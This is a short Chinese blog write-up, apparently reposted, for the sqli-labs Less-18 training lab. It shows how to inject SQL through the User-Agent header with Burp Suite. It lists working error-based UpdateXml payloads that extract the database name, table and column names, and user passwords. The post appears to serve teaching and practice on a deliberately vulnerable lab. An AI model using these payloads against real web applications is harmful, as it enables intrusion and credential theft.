zoukankan      html  css  js  c++  java
  • 【sqli-labs】 less18 POST

    这次username和password都进行了输入校验

    但是ip和uagent没有校验

    当我们用admin admin登陆成功后,就会一条插入语句

    由于程序无条件的信任了浏览器的header信息,那么通过修改http包的header信息构造注入

    使用burpsuite进行包拦截/修改

     修改user-agent字段,加个单引号

    User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0'

    利用UpdateXml函数报错来显示数据

    User-Agent: 123' AND UpdateXml(1,concat(0x7e,database(),0x7e),1),1,1)#

    User-Agent: 123' AND UpdateXml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e),1),1,1)#

    User-Agent: 123' AND UpdateXml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' and table_schema='security' limit 0,1 ),0x7e),1),1,1)#

    User-Agent: 123' AND UpdateXml(1,concat(0x7e,(select username from (select username from users limit 2,1) a),0x7e),1),1,1)#

    User-Agent: 123' AND UpdateXml(1,concat(0x7e,(select password from (select password from users limit 2,1) a),0x7e),1),1,1)#

  • 相关阅读:
    Django----抽屉项目 笔记
    Django验证码【附源码】
    C语言--循环控制结构
    javascript 流程控制及函数
    yield和yield from
    python面试题(转)
    断言assert用法
    javascript基本语法
    python经典一百道习题(转自奶酪博客)
    functools模块中的函数
  • 原文地址:https://www.cnblogs.com/omnis/p/8353590.html
Copyright © 2011-2022 走看看